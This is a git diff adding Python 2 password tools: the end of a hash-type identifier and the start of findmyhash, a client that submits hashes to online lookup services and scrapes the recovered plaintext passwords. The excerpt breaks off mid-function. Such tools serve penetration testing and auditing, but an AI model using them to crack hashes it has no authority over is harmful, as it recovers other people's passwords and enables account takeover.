+        jerar.append("109380")
+def sha1usernamepasssalt():
+    hs='00025111b3c4d0ac1635558ce2393f77e94770c5'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109400")
+def sha1md5pass():
+    hs='fa960056c0dea57de94776d3759fb555a15cae87'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("1094202")
+def sha1md5passsalt():
+    hs='1dad2b71432d83312e61d25aeb627593295bcc9a'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109440")
+def sha1md5sha1pass():
+    hs='8bceaeed74c17571c15cdb9494e992db3c263695'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109460")
+def sha1sha1pass():
+    hs='3109b810188fcde0900f9907d2ebcaa10277d10e'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109480")
+def sha1sha1passsalt():
+    hs='780d43fa11693b61875321b6b54905ee488d7760'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109500")
+def sha1sha1passsubstrpass03():
+    hs='5ed6bc680b59c580db4a38df307bd4621759324e'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109520")
+def sha1sha1saltpass():
+    hs='70506bac605485b4143ca114cbd4a3580d76a413'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109540")
+def sha1sha1sha1pass():
+    hs='3328ee2a3b4bf41805bd6aab8e894a992fa91549'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109560")
+def sha1strtolowerusernamepass():
+    hs='79f575543061e158c2da3799f999eb7c95261f07'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109580")
+
+def Haval192():
+    hs='cd3a90a3bebd3fa6b6797eba5dab8441f16a7dfa96c6e641'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("110040")
+def Haval192HMAC():
+    hs='39b4d8ecf70534e2fd86bb04a877d01dbf9387e640366029'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("110080")
+def Tiger192():
+    hs='c086184486ec6388ff81ec9f235287270429b2253b248a70'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("110020")
+def Tiger192HMAC():
+    hs='8e914bb64353d4d29ab680e693272d0bd38023afa3943a41'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("110060")
+
+def MD5passsaltjoomla1():
+    hs='35d1c0d69a2df62be2df13b087343dc9:BeKMviAfcXeTPTlX'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0:
+        jerar.append("112020")
+
+def SHA1Django():
+    hs='sha1$Zion3R$299c3d65a0dcab1fc38421783d64d0ecf4113448'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:5].find('sha1$')==0:
+        jerar.append("113020")
+
+def Haval224():
+    hs='f65d3c0ef6c56f4c74ea884815414c24dbf0195635b550f47eac651a'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("114040")
+def Haval224HMAC():
+    hs='f10de2518a9f7aed5cf09b455112114d18487f0c894e349c3c76a681'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("114080")
+def SHA224():
+    hs='e301f414993d5ec2bd1d780688d37fe41512f8b57f6923d054ef8e59'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("114020")
+def SHA224HMAC():
+    hs='c15ff86a859892b5e95cdfd50af17d05268824a6c9caaa54e4bf1514'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("114060")
+
+def SHA256():
+    hs='2c740d20dab7f14ec30510a11f8fd78b82bc3a711abe8a993acdb323e78e6d5e'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115020")
+def SHA256HMAC():
+    hs='d3dd251b7668b8b6c12e639c681e88f2c9b81105ef41caccb25fcde7673a1132'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115120")
+def Haval256():
+    hs='7169ecae19a5cd729f6e9574228b8b3c91699175324e6222dec569d4281d4a4a'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115040")
+def Haval256HMAC():
+    hs='6aa856a2cfd349fb4ee781749d2d92a1ba2d38866e337a4a1db907654d4d4d7a'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115140")
+def GOSTR341194():
+    hs='ab709d384cce5fda0793becd3da0cb6a926c86a8f3460efb471adddee1c63793'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115060")
+def RipeMD256():
+    hs='5fcbe06df20ce8ee16e92542e591bdea706fbdc2442aecbf42c223f4461a12af'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115080")
+def RipeMD256HMAC():
+    hs='43227322be1b8d743e004c628e0042184f1288f27c13155412f08beeee0e54bf'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115160")
+def SNEFRU256():
+    hs='3a654de48e8d6b669258b2d33fe6fb179356083eed6ff67e27c5ebfa4d9732bb'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115100")
+def SNEFRU256HMAC():
+    hs='4e9418436e301a488f675c9508a2d518d8f8f99e966136f2dd7e308b194d74f9'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115180")
+def SHA256md5pass():
+    hs='b419557099cfa18a86d1d693e2b3b3e979e7a5aba361d9c4ec585a1a70c7bde4'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115200")
+def SHA256sha1pass():
+    hs='afbed6e0c79338dbfe0000efe6b8e74e3b7121fe73c383ae22f5b505cb39c886'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("115220")
+
+def MD5passsaltjoomla2():
+    hs='fb33e01e4f8787dc8beb93dac4107209:fxJUXVjYRafVauT77Cze8XwFrWaeAYB2'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0:
+        jerar.append("116020")
+def SAM():
+    hs='4318B176C3D8E3DEAAD3B435B51404EE:B7C899154197E8A2A33121D76A240AB5'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash.islower()==False and hash[32:33].find(':')==0:
+        jerar.append("116040")
+
+def SHA256Django():
+    hs='sha256$Zion3R$9e1a08aa28a22dfff722fad7517bae68a55444bb5e2f909d340767cec9acf2c3'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha256')==0:
+        jerar.append("117020")
+
+def RipeMD320():
+    hs='b4f7c8993a389eac4f421b9b3b2bfb3a241d05949324a8dab1286069a18de69aaf5ecc3c2009d8ef'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("118020")
+def RipeMD320HMAC():
+    hs='244516688f8ad7dd625836c0d0bfc3a888854f7c0161f01de81351f61e98807dcd55b39ffe5d7a78'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("118040")
+
+def SHA384():
+    hs='3b21c44f8d830fa55ee9328a7713c6aad548fe6d7a4a438723a0da67c48c485220081a2fbc3e8c17fd9bd65f8d4b4e6b'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("119020")
+def SHA384HMAC():
+    hs='bef0dd791e814d28b4115eb6924a10beb53da47d463171fe8e63f68207521a4171219bb91d0580bca37b0f96fddeeb8b'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("119040")
+
+def SHA256s():
+    hs='$6$g4TpUQzk$OmsZBJFwvy6MwZckPvVYfDnwsgktm2CckOlNJGy9HNwHSuHFvywGIuwkJ6Bjn3kKbB6zoyEjIYNMpHWBNxJ6g.'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$6$')==0:
+        jerar.append("120020")
+
+def SHA384Django():
+    hs='sha384$Zion3R$88cfd5bc332a4af9f09aa33a1593f24eddc01de00b84395765193c3887f4deac46dc723ac14ddeb4d3a9b958816b7bba'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha384')==0:
+        print " [+] SHA-384(Django)"
+        jerar.append("121020")
+
+def SHA512():
+    hs='ea8e6f0935b34e2e6573b89c0856c81b831ef2cadfdee9f44eb9aa0955155ba5e8dd97f85c73f030666846773c91404fb0e12fb38936c56f8cf38a33ac89a24e'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("122020")
+def SHA512HMAC():
+    hs='dd0ada8693250b31d9f44f3ec2d4a106003a6ce67eaa92e384b356d1b4ef6d66a818d47c1f3a2c6e8a9a9b9bdbd28d485e06161ccd0f528c8bbb5541c3fef36f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("122060")
+def Whirlpool():
+    hs='76df96157e632410998ad7f823d82930f79a96578acc8ac5ce1bfc34346cf64b4610aefa8a549da3f0c1da36dad314927cebf8ca6f3fcd0649d363c5a370dddb'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("122040")
+def WhirlpoolHMAC():
+    hs='77996016cf6111e97d6ad31484bab1bf7de7b7ee64aebbc243e650a75a2f9256cef104e504d3cf29405888fca5a231fcac85d36cd614b1d52fce850b53ddf7f9'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("122080")
+
+
+print logo
+while True:
+    jerar=[]
+    print """
+   -------------------------------------------------------------------------"""
+    hash = raw_input(" HASH: ")
+    ADLER32(); CRC16(); CRC16CCITT(); CRC32(); CRC32B(); DESUnix(); DomainCachedCredentials(); FCS16(); GHash323(); GHash325(); GOSTR341194(); Haval128(); Haval128HMAC(); Haval160(); Haval160HMAC(); Haval192(); Haval192HMAC(); Haval224(); Haval224HMAC(); Haval256(); Haval256HMAC(); LineageIIC4(); MD2(); MD2HMAC(); MD4(); MD4HMAC(); MD5(); MD5APR(); MD5HMAC(); MD5HMACWordpress(); MD5phpBB3(); MD5Unix(); MD5Wordpress(); MD5Half(); MD5Middle(); MD5passsaltjoomla1(); MD5passsaltjoomla2(); MySQL(); MySQL5(); MySQL160bit(); NTLM(); RAdminv2x(); RipeMD128(); RipeMD128HMAC(); RipeMD160(); RipeMD160HMAC(); RipeMD256(); RipeMD256HMAC(); RipeMD320(); RipeMD320HMAC(); SAM(); SHA1(); SHA1Django(); SHA1HMAC(); SHA1MaNGOS(); SHA1MaNGOS2(); SHA224(); SHA224HMAC(); SHA256(); SHA256s(); SHA256Django(); SHA256HMAC(); SHA256md5pass(); SHA256sha1pass(); SHA384(); SHA384Django(); SHA384HMAC(); SHA512(); SHA512HMAC(); SNEFRU128(); SNEFRU128HMAC(); SNEFRU256(); SNEFRU256HMAC(); Tiger128(); Tiger128HMAC(); Tiger160(); Tiger160HMAC(); Tiger192(); Tiger192HMAC(); Whirlpool(); WhirlpoolHMAC(); XOR32(); md5passsalt(); md5saltmd5pass(); md5saltpass(); md5saltpasssalt(); md5saltpassusername(); md5saltmd5pass(); md5saltmd5passsalt(); md5saltmd5passsalt(); md5saltmd5saltpass(); md5saltmd5md5passsalt(); md5username0pass(); md5usernameLFpass(); md5usernamemd5passsalt(); md5md5pass(); md5md5passsalt(); md5md5passmd5salt(); md5md5saltpass(); md5md5saltmd5pass(); md5md5usernamepasssalt(); md5md5md5pass(); md5md5md5md5pass(); md5md5md5md5md5pass(); md5sha1pass(); md5sha1md5pass(); md5sha1md5sha1pass(); md5strtouppermd5pass(); sha1passsalt(); sha1saltpass(); sha1saltmd5pass(); sha1saltmd5passsalt(); sha1saltsha1pass(); sha1saltsha1saltsha1pass(); sha1usernamepass(); sha1usernamepasssalt(); sha1md5pass(); sha1md5passsalt(); sha1md5sha1pass(); sha1sha1pass(); sha1sha1passsalt(); sha1sha1passsubstrpass03(); sha1sha1saltpass(); sha1sha1sha1pass(); sha1strtolowerusernamepass()
+
+    if len(jerar)==0:
+        print ""
+        print " Not Found."
+    elif len(jerar)>2:
+        jerar.sort()
+        print ""
+        print "Possible Hashs:"
+        print "[+] ",algorithms[jerar[0]]
+        print "[+] ",algorithms[jerar[1]]
+        print ""
+        print "Least Possible Hashs:"
+        for a in range(int(len(jerar))-2):
+            print "[+] ",algorithms[jerar[a+2]]
+    else:
+        jerar.sort()
+        print ""
+        print "Possible Hashs:"
+        for a in range(len(jerar)):
+            print "[+] ",algorithms[jerar[a]]
diff --git a/3rdparty/hashbul.py b/3rdparty/hashbul.py
new file mode 100644
index 0000000..fc8499e
--- /dev/null
+++ b/3rdparty/hashbul.py
@@ -0,0 +1,3401 @@
+# -*- coding: iso-8859-1 -*-
+
+########################################################################################################
+### LICENSE
+########################################################################################################
+#
+# findmyhash.py - v 1.1.2
+#
+# This script is under GPL v3 License (http://www.gnu.org/licenses/gpl-3.0.html).
+#
+# Only this source code is under GPL v3 License. Web services used in this script are under
+# different licenses. 
+#
+# If you know some clause in one of these web services which forbids to use it inside this script,
+# please contact me to remove the web service as soon as possible.
+#
+# Developed by JulGor ( http://laxmarcaellugar.blogspot.com/ )
+# Mail: bloglaxmarcaellugar AT gmail DOT com
+# twitter: @laXmarcaellugar
+#
+
+########################################################################################################
+### IMPORTS
+########################################################################################################
+
+try:
+	import sys
+	import hashlib
+	import urllib2
+	import getopt
+	from os import path
+	from urllib import urlencode
+	from re import search, findall
+	from random import seed, randint
+	from base64 import decodestring, encodestring
+	from cookielib import LWPCookieJar
+except:
+	print """
+Execution error:
+
+  You required some basic Python libraries. 
+  
+  This application use: sys, hashlib, urllib, urllib2, os, re, random, getopt, base64 and cookielib.
+
+  Please, check if you have all of them installed in your system.
+
+"""
+	sys.exit(1)
+
+try:
+	from httplib2 import Http
+except:
+	print """
+Execution error:
+
+  The Python library httplib2 is not installed in your system. 
+  
+  Please, install it before use this application.
+
+"""
+	sys.exit(1)
+	
+try:
+	from libxml2 import parseDoc
+except:
+	print """
+Execution error:
+
+  The Python library libxml2 is not installed in your system. 
+  
+  Because of that, some plugins aren't going to work correctly.
+  
+  Please, install it before use this application.
+
+"""
+
+
+
+########################################################################################################
+### CONSTANTS
+########################################################################################################
+
+MD4	= "md4"
+MD5 	= "md5"
+SHA1 	= "sha1"
+SHA224	= "sha224"
+SHA256 	= "sha256"
+SHA384	= "sha384"
+SHA512 	= "sha512"
+RIPEMD	= "rmd160"
+LM 	= "lm"
+NTLM	= "ntlm"
+MYSQL	= "mysql"
+CISCO7	= "cisco7"
+JUNIPER = "juniper"
+GOST	= "gost"
+WHIRLPOOL = "whirlpool"
+LDAP_MD5 = "ldap_md5"
+LDAP_SHA1 = "ldap_sha1"
+
+
+USER_AGENTS = [
+	"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Crazy Browser 1.0.5)",
+	"curl/7.7.2 (powerpc-apple-darwin6.0) libcurl 7.7.2 (OpenSSL 0.9.6b)",
+	"Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0",
+	"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre",
+	"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)",
+	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)",
+	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205",
+	"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)",
+	"Opera/9.80 (Windows NT 6.1; U; sv) Presto/2.7.62 Version/11.01",
+	"Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00",
+	"Opera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61",
+	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2",
+	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.872.0 Safari/535.2",
+	"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.812.0 Safari/535.1",
+	"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
+	]
+	
+
+
+########################################################################################################
+### CRACKERS DEFINITION
+########################################################################################################
+
+
+class SCHWETT:
+	
+	name = 		"schwett"
+	url = 		"http://schwett.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://schwett.com/md5/index.php?md5value=%s&md5c=Hash+Match" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r"<h3><font color='red'>No Match Found</font></h3><br />", html)
+		if match:
+			return None
+		else:
+			return "The hash is broken, please contact with La X marca el lugar and send it the hash value to add the correct regexp."
+
+
+
+class NETMD5CRACK:
+
+	name = 		"netmd5crack"
+	url = 		"http://www.netmd5crack.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://www.netmd5crack.com/cgi-bin/Crack.py?InputHash=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		regexp = r'<tr><td class="border">%s</td><td class="border">[^<]*</td></tr></table>' % (hashvalue)
+		match = search (regexp, html)
+		
+		if match:
+			match2 = search ( "Sorry, we don't have that hash in our database", match.group() )
+			if match2:
+				return None
+			else:
+				return match.group().split('border')[2].split('<')[0][2:]
+
+
+
+class MD5_CRACKER:
+	
+	name = 		"md5-cracker"
+	url = 		"http://www.md5-cracker.tk"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://www.md5-cracker.tk/xml.php?md5=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		if response:
+			try:
+				doc = parseDoc ( response.read() )
+			except:
+				print "INFO: You need libxml2 to use this plugin."
+				return None
+		else:
+			return None
+		
+		result = doc.xpathEval("//data")
+		if len(result):
+			return result[0].content
+		else:
+			return None
+
+
+class BENRAMSEY:
+	
+	name = 		"benramsey"
+	url = 		"http://tools.benramsey.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://tools.benramsey.com/md5/md5.php?hash=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+			
+		match = search (r'<string><!\[CDATA\[[^\]]*\]\]></string>', html)
+		
+		if match:
+			return match.group().split(']')[0][17:]
+		else:
+			return None
+
+
+
+class GROMWEB: 
+	
+	name = 		"gromweb"
+	url = 		"http://md5.gromweb.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.gromweb.com/query/%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		if response:
+			return response.read()
+			
+		return response
+		
+		
+
+
+class HASHCRACKING:
+	
+	name = 		"hashcracking"
+	url = 		"http://md5.hashcracking.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.hashcracking.com/search.php?md5=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'\sis.*', html)
+		
+		if match:
+			return match.group()[4:]
+			
+		return None
+
+
+
+class VICTOROV:
+	
+	name = 		"hashcracking"
+	url = 		"http://victorov.su"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://victorov.su/md5/?md5e=&md5d=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r': <b>[^<]*</b><br><form action="">', html)
+		
+		if match:
+			return match.group().split('b>')[1][:-2]
+			
+		return None
+
+
+class THEKAINE: 
+	
+	name = 		"thekaine"
+	url = 		"http://md5.thekaine.de"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.thekaine.de/?hash=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<td colspan="2"><br><br><b>[^<]*</b></td><td></td>', html)
+		
+		if match:
+			
+			match2 = search (r'not found', match.group() )
+			
+			if match2:
+				return None
+			else:
+				return match.group().split('b>')[1][:-2]
+			
+
+
+class TMTO:
+	
+	name = 		"tmto"
+	url = 		"http://www.tmto.org"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://www.tmto.org/api/latest/?hash=%s&auth=true" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'text="[^"]+"', html)
+		
+		if match:
+			return decodestring(match.group().split('"')[1])
+		else:
+			return None
+
+
+class MD5_DB:
+	
+	name = 		"md5-db"
+	url = 		"http://md5-db.de"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5-db.de/%s.html" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		if not response:
+			return None
+			
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<strong>Es wurden 1 m.gliche Begriffe gefunden, die den Hash \w* verwenden:</strong><ul><li>[^<]*</li>', html)
+		
+		if match:
+			return match.group().split('li>')[1][:-2]
+		else:
+			return None
+
+
+
+
+class MY_ADDR:
+	
+	name = 		"my-addr"
+	url = 		"http://md5.my-addr.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php"
+		
+		# Build the parameters
+		params = { "md5" : hashvalue,
+			   "x" : 21,
+			   "y" : 8 }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r"<span class='middle_title'>Hashed string</span>: [^<]*</div>", html)
+		
+		if match:
+			return match.group().split('span')[2][3:-6]
+		else:
+			return None
+
+
+
+
+class MD5PASS:
+	
+	name = 		"md5pass"
+	url = 		"http://md5pass.info"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = self.url
+		
+		# Build the parameters
+		params = { "hash" : hashvalue,
+			   "get_pass" : "Get Pass" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r"Password - <b>[^<]*</b>", html)
+		
+		if match:
